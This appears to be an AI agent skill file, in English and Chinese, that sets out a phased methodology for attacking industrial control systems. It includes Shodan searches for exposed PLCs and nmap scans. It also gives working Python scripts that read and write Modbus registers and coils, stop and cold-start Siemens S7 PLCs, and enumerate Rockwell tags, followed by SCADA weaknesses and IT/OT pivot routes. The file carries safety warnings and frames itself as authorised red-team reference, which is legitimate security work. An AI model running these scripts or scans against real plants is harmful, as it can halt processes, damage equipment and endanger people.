ot-ics-attack

OT/ICS industrial control system attack methodology

⛔ Safety Warning: OT systems control physical processes; incorrect operations may cause equipment damage, environmental disaster, or personal injury. Test only in a clearly authorized and safely isolated environment!

⛔ In-Depth Reference

Detailed payloads for industrial control protocol exploitation → references/ics-protocol-exploit.md
PLC attacks and firmware analysis → references/plc-attack.md

Phase 0: OT Environment Understanding

Purdue Model (network layering)

Level 5: Enterprise Network (IT)
Level 4: Business Planning (ERP/MES)
━━━━━━━━━━━ DMZ / IT-OT 边界 ━━━━━━━━━━━
Level 3: Site Operations (Historian/SCADA Server)
Level 2: Area Control (HMI/Engineering WS)
Level 1: Basic Control (PLC/RTU/DCS)
Level 0: Physical Process (传感器/执行器)

攻击路径通常: Level 5 → 4 → DMZ → 3 → 2 → 1 → 0
关键突破点: IT/OT 边界（DMZ 配置错误）

Common Industrial Control Protocols

Protocol	Port	Authentication	Purpose
Modbus TCP	502	⛔ None	PLC read/write registers
DNP3	20000	Optional	Power SCADA
OPC UA	4840	Yes	Data access
EtherNet/IP	44818	⛔ None	Rockwell PLC
S7comm	102	⛔ None	Siemens PLC
BACnet	47808	⛔ None	Building automation
FINS	9600	⛔ None	Omron PLC

Phase 1: Information Gathering (Passive First)

# Shodan 搜索暴露的 ICS 设备
shodan search "port:502 product:Modbus"
shodan search "port:102 product:S7"
shodan search "port:44818 product:EtherNet/IP"
shodan search "port:47808 product:BACnet"

# 目标网络扫描（⛔ 仅在授权后，使用低速率）
nmap -sT -Pn -p 102,502,4840,20000,44818,47808 --scan-delay 500ms TARGET_RANGE

# 被动流量分析（如果有镜像端口）
tcpdump -i eth0 -w ics_traffic.pcap port 502 or port 102 or port 44818

# Wireshark 工控协议解析
# 内置支持: Modbus, DNP3, OPC UA, S7comm, EtherNet/IP

Phase 2: Exploiting Industrial Control Protocols

2.1 Modbus TCP (no authentication!)

#!/usr/bin/env python3
"""Modbus TCP 读写操作 — 无需认证"""
from pymodbus.client import ModbusTcpClient

client = ModbusTcpClient('TARGET_IP', port=502)
client.connect()

# 读取保持寄存器（获取当前值/配置）
result = client.read_holding_registers(address=0, count=10, slave=1)
print(f"Registers: {result.registers}")

# 读取线圈状态（数字输出状态）
result = client.read_coils(address=0, count=10, slave=1)
print(f"Coils: {result.bits}")

# ⛔ 写入操作（改变物理过程！仅在安全环境）
# 写单个寄存器
client.write_register(address=0, value=100, slave=1)

# 写单个线圈（开关控制）
client.write_coil(address=0, value=True, slave=1)  # 开
client.write_coil(address=0, value=False, slave=1) # 关

client.close()

2.2 Siemens S7comm

#!/usr/bin/env python3
"""S7comm 协议交互 — Siemens S7-300/400/1200/1500"""
import snap7

# 连接 PLC
plc = snap7.client.Client()
plc.connect('TARGET_IP', rack=0, slot=1)  # S7-300: slot=2

# 读取 PLC 信息
info = plc.get_cpu_info()
print(f"Module: {info.ModuleTypeName}")
print(f"Serial: {info.SerialNumber}")

# 读取数据块 (DB)
data = plc.db_read(db_number=1, start=0, size=100)
print(f"DB1 data: {data.hex()}")

# 读取输入/输出
inputs = plc.read_area(snap7.types.Areas.PE, 0, 0, 10)   # 输入
outputs = plc.read_area(snap7.types.Areas.PA, 0, 0, 10)  # 输出

# ⛔ 危险操作（仅安全环境）
# 停止 PLC
plc.plc_stop()
# 启动 PLC
plc.plc_cold_start()

plc.disconnect()

2.3 EtherNet/IP (Rockwell/Allen-Bradley)

#!/usr/bin/env python3
"""EtherNet/IP CIP 协议 — 无认证"""
from pycomm3 import LogixDriver

with LogixDriver('TARGET_IP') as plc:
    # 读取标签值
    result = plc.read('MyTag')
    print(f"Tag value: {result.value}")

    # 读取多个标签
    results = plc.read('Tag1', 'Tag2', 'Tag3')
    for r in results:
        print(f"{r.tag}: {r.value}")

    # 获取 PLC 信息
    info = plc.get_plc_info()
    print(f"Product: {info['product_name']}")

    # 列出所有标签（信息收集）
    tags = plc.get_tag_list()
    for tag in tags:
        print(f"  {tag['tag_name']}: {tag['data_type_name']}")

    # ⛔ 写入
    # plc.write('MotorSpeed', 1000)

Phase 3: HMI/SCADA Server Attacks

HMI/SCADA 常见漏洞：
├─ 默认凭据（admin/admin, administrator/空）
├─ 未加密通信（Modbus/OPC DA 明文）
├─ Web HMI SQL注入/XSS
├─ VNC 无密码暴露
├─ RDP 弱口令（Level 2/3 工作站）
├─ 过时操作系统（Windows XP/7/2008 仍在用）
└─ 未更新的 SCADA 软件（已知 CVE）

常见 SCADA 软件:
├─ Siemens WinCC → CVE 众多
├─ GE iFix / CIMPLICITY
├─ Schneider ClearSCADA
├─ Wonderware InTouch
├─ Ignition (Inductive Automation)
└─ Kepware KEPServerEX (OPC)

Phase 4: IT/OT Boundary Crossing

从 IT 网络进入 OT：
├─ 跳板: Historian 服务器（同时连接 IT 和 OT）
├─ 双网卡工作站（Level 3 操作员电脑）
├─ VPN/远程访问通道（TeamViewer/AnyDesk 在 HMI 上）
├─ 共享文件服务器（IT/OT 共享）
├─ 数据库服务器（MES/ERP 连接到 OT）
└─ 防火墙规则宽松（OT→IT 无限制回连）

Phase 5: Attack Impact Assessment

⛔ OT 攻击的潜在物理影响：
├─ 改变 PLC 逻辑 → 物理过程失控
├─ 修改 HMI 显示 → 操作员看到假数据（Stuxnet 手法）
├─ 停止 PLC → 生产停摆
├─ 修改安全限值 → 越过安全阈值
└─ 同时攻击 SIS(安全仪表系统) + PLC → 最危险

红队测试中的安全约束：
├─ ⛔ NEVER 修改 SIS (Safety Instrumented System)
├─ ⛔ NEVER 在生产系统上测试写入操作
├─ ✓ 仅读取操作验证可达性
├─ ✓ 在独立测试环境中验证写入
└─ ✓ 随时与运维团队保持通信

Tool Quick Reference

Tool	Purpose
pymodbus	Modbus TCP client
python-snap7	Siemens S7 communication
pycomm3	EtherNet/IP CIP
Wireshark + ICS dissectors	Protocol analysis
PLCScan	PLC enumeration
ISF (Industrial Exploitation Framework)	ICS exploitation framework
GRASSMARLIN	OT network topology discovery
Shodan/Censys	Exposure surface discovery

About this skill

⛔ In-Depth Reference

Phase 0: OT Environment Understanding

Purdue Model (network layering)

Common Industrial Control Protocols

Phase 1: Information Gathering (Passive First)

Phase 2: Exploiting Industrial Control Protocols

2.1 Modbus TCP (no authentication!)

2.2 Siemens S7comm

2.3 EtherNet/IP (Rockwell/Allen-Bradley)

Phase 3: HMI/SCADA Server Attacks

Phase 4: IT/OT Boundary Crossing

Phase 5: Attack Impact Assessment

Tool Quick Reference